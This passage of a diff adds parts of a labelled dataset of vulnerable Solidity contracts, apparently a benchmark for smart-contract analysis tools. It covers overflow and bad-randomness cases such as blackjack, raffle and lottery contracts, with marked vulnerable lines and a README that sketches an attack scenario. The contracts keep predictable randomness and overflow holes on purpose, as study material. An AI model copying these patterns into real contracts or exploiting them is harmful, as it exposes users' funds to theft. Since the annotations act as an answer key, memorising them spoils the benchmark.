|
||||
|
||||
function TokenSaleChallenge(address _player) public payable {
|
||||
require(msg.value == 1 ether);
|
||||
}
|
||||
|
||||
function isComplete() public view returns (bool) {
|
||||
return address(this).balance < 1 ether;
|
||||
}
|
||||
|
||||
function buy(uint256 numTokens) public payable {
|
||||
// <yes> <report> ARITHMETIC
|
||||
require(msg.value == numTokens * PRICE_PER_TOKEN);
|
||||
// <yes> <report> ARITHMETIC
|
||||
balanceOf[msg.sender] += numTokens;
|
||||
}
|
||||
|
||||
function sell(uint256 numTokens) public {
|
||||
require(balanceOf[msg.sender] >= numTokens);
|
||||
|
||||
balanceOf[msg.sender] -= numTokens;
|
||||
// <yes> <report> ARITHMETIC
|
||||
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
|
||||
}
|
||||
}
|
||||
38
dataset/bad_randomness/README.md
Executable file
38
dataset/bad_randomness/README.md
Executable file
@@ -0,0 +1,38 @@
|
||||
# Bad Randomness
|
||||
Also known as nothing is secret.
|
||||
|
||||
Randomness is hard to get right in Ethereum. While Solidity offers functions and variables that can access apparently hard-to-predict values, they are generally either more public than they seem or subject to miners' influence. Because these sources of randomness are to an extent predictable, malicious users can generally replicate it and attack the function relying on its unpredictablility.
|
||||
|
||||
Loss: more than 400 ETH
|
||||
|
||||
## Attack Scenario
|
||||
A smart contract uses the block number as a source of randomness for a game.
|
||||
An attacker creates a malicious contract that checks if the current block number is a winner. If so, it calls the first smart contract in order to win; since the call will be part of the same transaction, the block number will remain the same on both contracts.
|
||||
The attacker only has to call her malicious contract until it wins.
|
||||
|
||||
## Examples
|
||||
In this first example, a private seed is used in combination with an iteration number and the keccak256 hash function to determine if the caller wins. Even though the seed is private, it must have been set via a transaction at some point in time and thus is visible on the blockchain.
|
||||
```
|
||||
uint256 private seed;
|
||||
|
||||
function play() public payable {
|
||||
require(msg.value >= 1 ether);
|
||||
iteration++;
|
||||
uint randomNumber = uint(keccak256(seed + iteration));
|
||||
if (randomNumber % 2 == 0) {
|
||||
msg.sender.transfer(this.balance);
|
||||
}
|
||||
}
|
||||
```
|
||||
In this second example, block.blockhash is being used to generate a random number. This hash is unknown if the blockNumber is set to the current block.number (for obvious reasons), and is thus set to 0. In the case where the blockNumber is set to more than 256 blocks in the past, it will always be zero. Finally, if it is set to a previous block number that is not too old, another smart contract can access the same number and call the game contract as part of the same transaction.
|
||||
```
|
||||
function play() public payable {
|
||||
require(msg.value >= 1 ether);
|
||||
if (block.blockhash(blockNumber) % 2 == 0) {
|
||||
msg.sender.transfer(this.balance);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
Taken from [DASP TOP10](https://dasp.co/)
|
||||
308
dataset/bad_randomness/blackjack.sol
Normal file
308
dataset/bad_randomness/blackjack.sol
Normal file
@@ -0,0 +1,308 @@
|
||||
/*
|
||||
* @article: https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620
|
||||
* @source: https://etherscan.io/address/0xa65d59708838581520511d98fb8b5d1f76a96cad#code
|
||||
* @vulnerable_at_lines: 17,19,21
|
||||
* @author: -
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.2;
|
||||
|
||||
library Deck {
|
||||
// returns random number from 0 to 51
|
||||
// let's say 'value' % 4 means suit (0 - Hearts, 1 - Spades, 2 - Diamonds, 3 - Clubs)
|
||||
// 'value' / 4 means: 0 - King, 1 - Ace, 2 - 10 - pip values, 11 - Jacket, 12 - Queen
|
||||
|
||||
function deal(address player, uint8 cardNumber) internal returns (uint8) {
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
uint b = block.number;
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
uint timestamp = block.timestamp;
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
return uint8(uint256(keccak256(block.blockhash(b), player, cardNumber, timestamp)) % 52);
|
||||
}
|
||||
|
||||
function valueOf(uint8 card, bool isBigAce) internal constant returns (uint8) {
|
||||
uint8 value = card / 4;
|
||||
if (value == 0 || value == 11 || value == 12) { // Face cards
|
||||
return 10;
|
||||
}
|
||||
if (value == 1 && isBigAce) { // Ace is worth 11
|
||||
return 11;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
function isAce(uint8 card) internal constant returns (bool) {
|
||||
return card / 4 == 1;
|
||||
}
|
||||
|
||||
function isTen(uint8 card) internal constant returns (bool) {
|
||||
return card / 4 == 10;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
contract BlackJack {
|
||||
using Deck for *;
|
||||
|
||||
uint public minBet = 50 finney; // 0.05 eth
|
||||
uint public maxBet = 5 ether;
|
||||
|
||||
uint8 BLACKJACK = 21;
|
||||
|
||||
enum GameState { Ongoing, Player, Tie, House }
|
||||
|
||||
struct Game {
|
||||
address player; // address игрока
|
||||
uint bet; // стывка
|
||||
|
||||
uint8[] houseCards; // карты диллера
|
||||
uint8[] playerCards; // карты игрока
|
||||
|
||||
GameState state; // состояние
|
||||
uint8 cardsDealt;
|
||||
}
|
||||
|
||||
mapping (address => Game) public games;
|
||||
|
||||
modifier gameIsGoingOn() {
|
||||
if (games[msg.sender].player == 0 || games[msg.sender].state != GameState.Ongoing) {
|
||||
throw; // game doesn't exist or already finished
|
||||
}
|
||||
_;
|
||||
}
|
||||
|
||||
event Deal(
|
||||
bool isUser,
|
||||
uint8 _card
|
||||
);
|
||||
|
||||
event GameStatus(
|
||||
uint8 houseScore,
|
||||
uint8 houseScoreBig,
|
||||
uint8 playerScore,
|
||||
uint8 playerScoreBig
|
||||
);
|
||||
|
||||
event Log(
|
||||
uint8 value
|
||||
);
|
||||
|
||||
function BlackJack() {
|
||||
|
||||
}
|
||||
|
||||
function () payable {
|
||||
|
||||
}
|
||||
|
||||
// starts a new game
|
||||
function deal() public payable {
|
||||
if (games[msg.sender].player != 0 && games[msg.sender].state == GameState.Ongoing) {
|
||||
throw; // game is already going on
|
||||
}
|
||||
|
||||
if (msg.value < minBet || msg.value > maxBet) {
|
||||
throw; // incorrect bet
|
||||
}
|
||||
|
||||
uint8[] memory houseCards = new uint8[](1);
|
||||
uint8[] memory playerCards = new uint8[](2);
|
||||
|
||||
// deal the cards
|
||||
playerCards[0] = Deck.deal(msg.sender, 0);
|
||||
Deal(true, playerCards[0]);
|
||||
houseCards[0] = Deck.deal(msg.sender, 1);
|
||||
Deal(false, houseCards[0]);
|
||||
playerCards[1] = Deck.deal(msg.sender, 2);
|
||||
Deal(true, playerCards[1]);
|
||||
|
||||
games[msg.sender] = Game({
|
||||
player: msg.sender,
|
||||
bet: msg.value,
|
||||
houseCards: houseCards,
|
||||
playerCards: playerCards,
|
||||
state: GameState.Ongoing,
|
||||
cardsDealt: 3
|
||||
});
|
||||
|
||||
checkGameResult(games[msg.sender], false);
|
||||
}
|
||||
|
||||
// deals one more card to the player
|
||||
function hit() public gameIsGoingOn {
|
||||
uint8 nextCard = games[msg.sender].cardsDealt;
|
||||
games[msg.sender].playerCards.push(Deck.deal(msg.sender, nextCard));
|
||||
games[msg.sender].cardsDealt = nextCard + 1;
|
||||
Deal(true, games[msg.sender].playerCards[games[msg.sender].playerCards.length - 1]);
|
||||
checkGameResult(games[msg.sender], false);
|
||||
}
|
||||
|
||||
// finishes the game
|
||||
function stand() public gameIsGoingOn {
|
||||
|
||||
var (houseScore, houseScoreBig) = calculateScore(games[msg.sender].houseCards);
|
||||
|
||||
while (houseScoreBig < 17) {
|
||||
uint8 nextCard = games[msg.sender].cardsDealt;
|
||||
uint8 newCard = Deck.deal(msg.sender, nextCard);
|
||||
games[msg.sender].houseCards.push(newCard);
|
||||
games[msg.sender].cardsDealt = nextCard + 1;
|
||||
houseScoreBig += Deck.valueOf(newCard, true);
|
||||
Deal(false, newCard);
|
||||
}
|
||||
|
||||
checkGameResult(games[msg.sender], true);
|
||||
}
|
||||
|
||||
// @param finishGame - whether to finish the game or not (in case of Blackjack the game finishes anyway)
|
||||
function checkGameResult(Game game, bool finishGame) private {
|
||||
// calculate house score
|
||||
var (houseScore, houseScoreBig) = calculateScore(game.houseCards);
|
||||
// calculate player score
|
||||
var (playerScore, playerScoreBig) = calculateScore(game.playerCards);
|
||||
|
||||
GameStatus(houseScore, houseScoreBig, playerScore, playerScoreBig);
|
||||
|
||||
if (houseScoreBig == BLACKJACK || houseScore == BLACKJACK) {
|
||||
if (playerScore == BLACKJACK || playerScoreBig == BLACKJACK) {
|
||||
// TIE
|
||||
if (!msg.sender.send(game.bet)) throw; // return bet to the player
|
||||
games[msg.sender].state = GameState.Tie; // finish the game
|
||||
return;
|
||||
} else {
|
||||
// HOUSE WON
|
||||
games[msg.sender].state = GameState.House; // simply finish the game
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
if (playerScore == BLACKJACK || playerScoreBig == BLACKJACK) {
|
||||
// PLAYER WON
|
||||
if (game.playerCards.length == 2 && (Deck.isTen(game.playerCards[0]) || Deck.isTen(game.playerCards[1]))) {
|
||||
// Natural blackjack => return x2.5
|
||||
if (!msg.sender.send((game.bet * 5) / 2)) throw; // send prize to the player
|
||||
} else {
|
||||
// Usual blackjack => return x2
|
||||
if (!msg.sender.send(game.bet * 2)) throw; // send prize to the player
|
||||
}
|
||||
games[msg.sender].state = GameState.Player; // finish the game
|
||||
return;
|
||||
} else {
|
||||
|
||||
if (playerScore > BLACKJACK) {
|
||||
// BUST, HOUSE WON
|
||||
Log(1);
|
||||
games[msg.sender].state = GameState.House; // finish the game
|
||||
return;
|
||||
}
|
||||
|
||||
if (!finishGame) {
|
||||
return; // continue the game
|
||||
}
|
||||
|
||||
// недобор
|
||||
uint8 playerShortage = 0;
|
||||
uint8 houseShortage = 0;
|
||||
|
||||
// player decided to finish the game
|
||||
if (playerScoreBig > BLACKJACK) {
|
||||
if (playerScore > BLACKJACK) {
|
||||
// HOUSE WON
|
||||
games[msg.sender].state = GameState.House; // simply finish the game
|
||||
return;
|
||||
} else {
|
||||
playerShortage = BLACKJACK - playerScore;
|
||||
}
|
||||
} else {
|
||||
playerShortage = BLACKJACK - playerScoreBig;
|
||||
}
|
||||
|
||||
if (houseScoreBig > BLACKJACK) {
|
||||
if (houseScore > BLACKJACK) {
|
||||
// PLAYER WON
|
||||
if (!msg.sender.send(game.bet * 2)) throw; // send prize to the player
|
||||
games[msg.sender].state = GameState.Player;
|
||||
return;
|
||||
} else {
|
||||
houseShortage = BLACKJACK - houseScore;
|
||||
}
|
||||
} else {
|
||||
houseShortage = BLACKJACK - houseScoreBig;
|
||||
}
|
||||
|
||||
// ?????????????????????? почему игра заканчивается?
|
||||
if (houseShortage == playerShortage) {
|
||||
// TIE
|
||||
if (!msg.sender.send(game.bet)) throw; // return bet to the player
|
||||
games[msg.sender].state = GameState.Tie;
|
||||
} else if (houseShortage > playerShortage) {
|
||||
// PLAYER WON
|
||||
if (!msg.sender.send(game.bet * 2)) throw; // send prize to the player
|
||||
games[msg.sender].state = GameState.Player;
|
||||
} else {
|
||||
games[msg.sender].state = GameState.House;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function calculateScore(uint8[] cards) private constant returns (uint8, uint8) {
|
||||
uint8 score = 0;
|
||||
uint8 scoreBig = 0; // in case of Ace there could be 2 different scores
|
||||
bool bigAceUsed = false;
|
||||
for (uint i = 0; i < cards.length; ++i) {
|
||||
uint8 card = cards[i];
|
||||
if (Deck.isAce(card) && !bigAceUsed) { // doesn't make sense to use the second Ace as 11, because it leads to the losing
|
||||
scoreBig += Deck.valueOf(card, true);
|
||||
bigAceUsed = true;
|
||||
} else {
|
||||
scoreBig += Deck.valueOf(card, false);
|
||||
}
|
||||
score += Deck.valueOf(card, false);
|
||||
}
|
||||
return (score, scoreBig);
|
||||
}
|
||||
|
||||
function getPlayerCard(uint8 id) public gameIsGoingOn constant returns(uint8) {
|
||||
if (id < 0 || id > games[msg.sender].playerCards.length) {
|
||||
throw;
|
||||
}
|
||||
return games[msg.sender].playerCards[id];
|
||||
}
|
||||
|
||||
function getHouseCard(uint8 id) public gameIsGoingOn constant returns(uint8) {
|
||||
if (id < 0 || id > games[msg.sender].houseCards.length) {
|
||||
throw;
|
||||
}
|
||||
return games[msg.sender].houseCards[id];
|
||||
}
|
||||
|
||||
function getPlayerCardsNumber() public gameIsGoingOn constant returns(uint) {
|
||||
return games[msg.sender].playerCards.length;
|
||||
}
|
||||
|
||||
function getHouseCardsNumber() public gameIsGoingOn constant returns(uint) {
|
||||
return games[msg.sender].houseCards.length;
|
||||
}
|
||||
|
||||
function getGameState() public constant returns (uint8) {
|
||||
if (games[msg.sender].player == 0) {
|
||||
throw; // game doesn't exist
|
||||
}
|
||||
|
||||
Game game = games[msg.sender];
|
||||
|
||||
if (game.state == GameState.Player) {
|
||||
return 1;
|
||||
}
|
||||
if (game.state == GameState.House) {
|
||||
return 2;
|
||||
}
|
||||
if (game.state == GameState.Tie) {
|
||||
return 3;
|
||||
}
|
||||
|
||||
return 0; // the game is still going on
|
||||
}
|
||||
|
||||
}
|
||||
174
dataset/bad_randomness/etheraffle.sol
Normal file
174
dataset/bad_randomness/etheraffle.sol
Normal file
@@ -0,0 +1,174 @@
|
||||
/*
|
||||
* @article: https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620
|
||||
* @source: https://etherscan.io/address/0xcC88937F325d1C6B97da0AFDbb4cA542EFA70870#code
|
||||
* @vulnerable_at_lines: 49,99,101,103,114,158
|
||||
* @author: -
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.16;
|
||||
|
||||
contract Ethraffle_v4b {
|
||||
struct Contestant {
|
||||
address addr;
|
||||
uint raffleId;
|
||||
}
|
||||
|
||||
event RaffleResult(
|
||||
uint raffleId,
|
||||
uint winningNumber,
|
||||
address winningAddress,
|
||||
address seed1,
|
||||
address seed2,
|
||||
uint seed3,
|
||||
bytes32 randHash
|
||||
);
|
||||
|
||||
event TicketPurchase(
|
||||
uint raffleId,
|
||||
address contestant,
|
||||
uint number
|
||||
);
|
||||
|
||||
event TicketRefund(
|
||||
uint raffleId,
|
||||
address contestant,
|
||||
uint number
|
||||
);
|
||||
|
||||
// Constants
|
||||
uint public constant prize = 2.5 ether;
|
||||
uint public constant fee = 0.03 ether;
|
||||
uint public constant totalTickets = 50;
|
||||
uint public constant pricePerTicket = (prize + fee) / totalTickets; // Make sure this divides evenly
|
||||
address feeAddress;
|
||||
|
||||
// Other internal variables
|
||||
bool public paused = false;
|
||||
uint public raffleId = 1;
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
uint public blockNumber = block.number;
|
||||
uint nextTicket = 0;
|
||||
mapping (uint => Contestant) contestants;
|
||||
uint[] gaps;
|
||||
|
||||
// Initialization
|
||||
function Ethraffle_v4b() public {
|
||||
feeAddress = msg.sender;
|
||||
}
|
||||
|
||||
// Call buyTickets() when receiving Ether outside a function
|
||||
function () payable public {
|
||||
buyTickets();
|
||||
}
|
||||
|
||||
function buyTickets() payable public {
|
||||
if (paused) {
|
||||
msg.sender.transfer(msg.value);
|
||||
return;
|
||||
}
|
||||
|
||||
uint moneySent = msg.value;
|
||||
|
||||
while (moneySent >= pricePerTicket && nextTicket < totalTickets) {
|
||||
uint currTicket = 0;
|
||||
if (gaps.length > 0) {
|
||||
currTicket = gaps[gaps.length-1];
|
||||
gaps.length--;
|
||||
} else {
|
||||
currTicket = nextTicket++;
|
||||
}
|
||||
|
||||
contestants[currTicket] = Contestant(msg.sender, raffleId);
|
||||
TicketPurchase(raffleId, msg.sender, currTicket);
|
||||
moneySent -= pricePerTicket;
|
||||
}
|
||||
|
||||
// Choose winner if we sold all the tickets
|
||||
if (nextTicket == totalTickets) {
|
||||
chooseWinner();
|
||||
}
|
||||
|
||||
// Send back leftover money
|
||||
if (moneySent > 0) {
|
||||
msg.sender.transfer(moneySent);
|
||||
}
|
||||
}
|
||||
|
||||
function chooseWinner() private {
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
uint seed3 = block.difficulty;
|
||||
bytes32 randHash = keccak256(seed1, seed2, seed3);
|
||||
|
||||
uint winningNumber = uint(randHash) % totalTickets;
|
||||
address winningAddress = contestants[winningNumber].addr;
|
||||
RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
|
||||
|
||||
// Start next raffle
|
||||
raffleId++;
|
||||
nextTicket = 0;
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
blockNumber = block.number;
|
||||
|
||||
// gaps.length = 0 isn't necessary here,
|
||||
// because buyTickets() eventually clears
|
||||
// the gaps array in the loop itself.
|
||||
|
||||
// Distribute prize and fee
|
||||
winningAddress.transfer(prize);
|
||||
feeAddress.transfer(fee);
|
||||
}
|
||||
|
||||
// Get your money back before the raffle occurs
|
||||
function getRefund() public {
|
||||
uint refund = 0;
|
||||
for (uint i = 0; i < totalTickets; i++) {
|
||||
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
|
||||
refund += pricePerTicket;
|
||||
contestants[i] = Contestant(address(0), 0);
|
||||
gaps.push(i);
|
||||
TicketRefund(raffleId, msg.sender, i);
|
||||
}
|
||||
}
|
||||
|
||||
if (refund > 0) {
|
||||
msg.sender.transfer(refund);
|
||||
}
|
||||
}
|
||||
|
||||
// Refund everyone's money, start a new raffle, then pause it
|
||||
function endRaffle() public {
|
||||
if (msg.sender == feeAddress) {
|
||||
paused = true;
|
||||
|
||||
for (uint i = 0; i < totalTickets; i++) {
|
||||
if (raffleId == contestants[i].raffleId) {
|
||||
TicketRefund(raffleId, contestants[i].addr, i);
|
||||
contestants[i].addr.transfer(pricePerTicket);
|
||||
}
|
||||
}
|
||||
|
||||
RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0);
|
||||
raffleId++;
|
||||
nextTicket = 0;
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
blockNumber = block.number;
|
||||
gaps.length = 0;
|
||||
}
|
||||
}
|
||||
|
||||
function togglePause() public {
|
||||
if (msg.sender == feeAddress) {
|
||||
paused = !paused;
|
||||
}
|
||||
}
|
||||
|
||||
function kill() public {
|
||||
if (msg.sender == feeAddress) {
|
||||
selfdestruct(feeAddress);
|
||||
}
|
||||
}
|
||||
}
|
||||
29
dataset/bad_randomness/guess_the_random_number.sol
Normal file
29
dataset/bad_randomness/guess_the_random_number.sol
Normal file
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
* @source: https://capturetheether.com/challenges/lotteries/guess-the-random-number/
|
||||
* @author: Steve Marx
|
||||
* @vulnerable_at_lines: 15
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.21;
|
||||
|
||||
contract GuessTheRandomNumberChallenge {
|
||||
uint8 answer;
|
||||
|
||||
function GuessTheRandomNumberChallenge() public payable {
|
||||
require(msg.value == 1 ether);
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
|
||||
}
|
||||
|
||||
function isComplete() public view returns (bool) {
|
||||
return address(this).balance == 0;
|
||||
}
|
||||
|
||||
function guess(uint8 n) public payable {
|
||||
require(msg.value == 1 ether);
|
||||
|
||||
if (n == answer) {
|
||||
msg.sender.transfer(2 ether);
|
||||
}
|
||||
}
|
||||
}
|
||||
68
dataset/bad_randomness/lottery.sol
Normal file
68
dataset/bad_randomness/lottery.sol
Normal file
@@ -0,0 +1,68 @@
|
||||
/*
|
||||
* @article: https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620
|
||||
* @source: https://etherscan.io/address/0x80ddae5251047d6ceb29765f38fed1c0013004b7#code
|
||||
* @vulnerable_at_lines: 38,42
|
||||
* @author: -
|
||||
*/
|
||||
|
||||
//added pragma version
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract Lottery {
|
||||
event GetBet(uint betAmount, uint blockNumber, bool won);
|
||||
|
||||
struct Bet {
|
||||
uint betAmount;
|
||||
uint blockNumber;
|
||||
bool won;
|
||||
}
|
||||
|
||||
address private organizer;
|
||||
Bet[] private bets;
|
||||
|
||||
// Create a new lottery with numOfBets supported bets.
|
||||
function Lottery() {
|
||||
organizer = msg.sender;
|
||||
}
|
||||
|
||||
// Fallback function returns ether
|
||||
function() {
|
||||
throw;
|
||||
}
|
||||
|
||||
// Make a bet
|
||||
function makeBet() {
|
||||
// Won if block number is even
|
||||
// (note: this is a terrible source of randomness, please don't use this with real money)
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
bool won = (block.number % 2) == 0;
|
||||
|
||||
// Record the bet with an event
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
bets.push(Bet(msg.value, block.number, won));
|
||||
|
||||
// Payout if the user won, otherwise take their money
|
||||
if(won) {
|
||||
if(!msg.sender.send(msg.value)) {
|
||||
// Return ether to sender
|
||||
throw;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get all bets that have been made
|
||||
function getBets() {
|
||||
if(msg.sender != organizer) { throw; }
|
||||
|
||||
for (uint i = 0; i < bets.length; i++) {
|
||||
GetBet(bets[i].betAmount, bets[i].blockNumber, bets[i].won);
|
||||
}
|
||||
}
|
||||
|
||||
// Suicide :(
|
||||
function destroy() {
|
||||
if(msg.sender != organizer) { throw; }
|
||||
|
||||
suicide(organizer);
|
||||
}
|
||||
}
|
||||
191
dataset/bad_randomness/lucky_doubler.sol
Normal file
191
dataset/bad_randomness/lucky_doubler.sol
Normal file
@@ -0,0 +1,191 @@
|
||||
/*
|
||||
* @article: https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620
|
||||
* @source: https://etherscan.io/address/0xF767fCA8e65d03fE16D4e38810f5E5376c3372A8#code
|
||||
* @vulnerable_at_lines: 127,128,129,130,132
|
||||
* @author: -
|
||||
*/
|
||||
|
||||
//added pragma version
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract LuckyDoubler {
|
||||
//##########################################################
|
||||
//#### LuckyDoubler: A doubler with random payout order ####
|
||||
//#### Deposit 1 ETHER to participate ####
|
||||
//##########################################################
|
||||
//COPYRIGHT 2016 KATATSUKI ALL RIGHTS RESERVED
|
||||
//No part of this source code may be reproduced, distributed,
|
||||
//modified or transmitted in any form or by any means without
|
||||
//the prior written permission of the creator.
|
||||
|
||||
address private owner;
|
||||
|
||||
//Stored variables
|
||||
uint private balance = 0;
|
||||
uint private fee = 5;
|
||||
uint private multiplier = 125;
|
||||
|
||||
mapping (address => User) private users;
|
||||
Entry[] private entries;
|
||||
uint[] private unpaidEntries;
|
||||
|
||||
//Set owner on contract creation
|
||||
function LuckyDoubler() {
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
modifier onlyowner { if (msg.sender == owner) _; }
|
||||
|
||||
struct User {
|
||||
address id;
|
||||
uint deposits;
|
||||
uint payoutsReceived;
|
||||
}
|
||||
|
||||
struct Entry {
|
||||
address entryAddress;
|
||||
uint deposit;
|
||||
uint payout;
|
||||
bool paid;
|
||||
}
|
||||
|
||||
//Fallback function
|
||||
function() {
|
||||
init();
|
||||
}
|
||||
|
||||
function init() private{
|
||||
|
||||
if (msg.value < 1 ether) {
|
||||
msg.sender.send(msg.value);
|
||||
return;
|
||||
}
|
||||
|
||||
join();
|
||||
}
|
||||
|
||||
function join() private {
|
||||
|
||||
//Limit deposits to 1ETH
|
||||
uint dValue = 1 ether;
|
||||
|
||||
if (msg.value > 1 ether) {
|
||||
|
||||
msg.sender.send(msg.value - 1 ether);
|
||||
dValue = 1 ether;
|
||||
}
|
||||
|
||||
//Add new users to the users array
|
||||
if (users[msg.sender].id == address(0))
|
||||
{
|
||||
users[msg.sender].id = msg.sender;
|
||||
users[msg.sender].deposits = 0;
|
||||
users[msg.sender].payoutsReceived = 0;
|
||||
}
|
||||
|
||||
//Add new entry to the entries array
|
||||
entries.push(Entry(msg.sender, dValue, (dValue * (multiplier) / 100), false));
|
||||
users[msg.sender].deposits++;
|
||||
unpaidEntries.push(entries.length -1);
|
||||
|
||||
//Collect fees and update contract balance
|
||||
balance += (dValue * (100 - fee)) / 100;
|
||||
|
||||
uint index = unpaidEntries.length > 1 ? rand(unpaidEntries.length) : 0;
|
||||
Entry theEntry = entries[unpaidEntries[index]];
|
||||
|
||||
//Pay pending entries if the new balance allows for it
|
||||
if (balance > theEntry.payout) {
|
||||
|
||||
uint payout = theEntry.payout;
|
||||
|
||||
theEntry.entryAddress.send(payout);
|
||||
theEntry.paid = true;
|
||||
users[theEntry.entryAddress].payoutsReceived++;
|
||||
|
||||
balance -= payout;
|
||||
|
||||
if (index < unpaidEntries.length - 1)
|
||||
unpaidEntries[index] = unpaidEntries[unpaidEntries.length - 1];
|
||||
|
||||
unpaidEntries.length--;
|
||||
|
||||
}
|
||||
|
||||
//Collect money from fees and possible leftovers from errors (actual balance untouched)
|
||||
uint fees = this.balance - balance;
|
||||
if (fees > 0)
|
||||
{
|
||||
owner.send(fees);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
//Generate random number between 0 & max
|
||||
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
function rand(uint max) constant private returns (uint256 result){
|
||||
uint256 factor = FACTOR * 100 / max;
|
||||
uint256 lastBlockNumber = block.number - 1;
|
||||
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
|
||||
|
||||
return uint256((uint256(hashVal) / factor)) % max;
|
||||
}
|
||||
|
||||
|
||||
//Contract management
|
||||
function changeOwner(address newOwner) onlyowner {
|
||||
owner = newOwner;
|
||||
}
|
||||
|
||||
function changeMultiplier(uint multi) onlyowner {
|
||||
if (multi < 110 || multi > 150) throw;
|
||||
|
||||
multiplier = multi;
|
||||
}
|
||||
|
||||
function changeFee(uint newFee) onlyowner {
|
||||
if (fee > 5)
|
||||
throw;
|
||||
fee = newFee;
|
||||
}
|
||||
|
||||
|
||||
//JSON functions
|
||||
function multiplierFactor() constant returns (uint factor, string info) {
|
||||
factor = multiplier;
|
||||
info = 'The current multiplier applied to all deposits. Min 110%, max 150%.';
|
||||
}
|
||||
|
||||
function currentFee() constant returns (uint feePercentage, string info) {
|
||||
feePercentage = fee;
|
||||
info = 'The fee percentage applied to all deposits. It can change to speed payouts (max 5%).';
|
||||
}
|
||||
|
||||
function totalEntries() constant returns (uint count, string info) {
|
||||
count = entries.length;
|
||||
info = 'The number of deposits.';
|
||||
}
|
||||
|
||||
function userStats(address user) constant returns (uint deposits, uint payouts, string info)
|
||||
{
|
||||
if (users[user].id != address(0x0))
|
||||
{
|
||||
deposits = users[user].deposits;
|
||||
payouts = users[user].payoutsReceived;
|
||||
info = 'Users stats: total deposits, payouts received.';
|
||||
}
|
||||
}
|
||||
|
||||
function entryDetails(uint index) constant returns (address user, uint payout, bool paid, string info)
|
||||
{
|
||||
if (index < entries.length) {
|
||||
user = entries[index].entryAddress;
|
||||
payout = entries[index].payout / 1 finney;
|
||||
paid = entries[index].paid;
|
||||
info = 'Entry info: user address, expected payout in Finneys, payout status.';
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
42
dataset/bad_randomness/old_blockhash.sol
Normal file
42
dataset/bad_randomness/old_blockhash.sol
Normal file
@@ -0,0 +1,42 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/weak_randomness/old_blockhash.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 35
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
//Based on the the Capture the Ether challange at https://capturetheether.com/challenges/lotteries/predict-the-block-hash/
|
||||
//Note that while it seems to have a 1/2^256 chance you guess the right hash, actually blockhash returns zero for blocks numbers that are more than 256 blocks ago so you can guess zero and wait.
|
||||
contract PredictTheBlockHashChallenge {
|
||||
|
||||
struct guess{
|
||||
uint block;
|
||||
bytes32 guess;
|
||||
}
|
||||
|
||||
mapping(address => guess) guesses;
|
||||
|
||||
constructor() public payable {
|
||||
require(msg.value == 1 ether);
|
||||
}
|
||||
|
||||
function lockInGuess(bytes32 hash) public payable {
|
||||
require(guesses[msg.sender].block == 0);
|
||||
require(msg.value == 1 ether);
|
||||
|
||||
guesses[msg.sender].guess = hash;
|
||||
guesses[msg.sender].block = block.number + 1;
|
||||
}
|
||||
|
||||
function settle() public {
|
||||
require(block.number > guesses[msg.sender].block);
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
bytes32 answer = blockhash(guesses[msg.sender].block);
|
||||
|
||||
guesses[msg.sender].block = 0;
|
||||
if (guesses[msg.sender].guess == answer) {
|
||||
msg.sender.transfer(2 ether);
|
||||
}
|
||||
}
|
||||
}
|
||||
26
dataset/bad_randomness/random_number_generator.sol
Normal file
26
dataset/bad_randomness/random_number_generator.sol
Normal file
@@ -0,0 +1,26 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/weak_randomness/random_number_generator.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 12,18,20,22
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
// Based on TheRun contract deployed at 0xcac337492149bDB66b088bf5914beDfBf78cCC18.
|
||||
contract RandomNumberGenerator {
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
uint256 private salt = block.timestamp;
|
||||
|
||||
function random(uint max) view private returns (uint256 result) {
|
||||
// Get the best seed for randomness
|
||||
uint256 x = salt * 100 / max;
|
||||
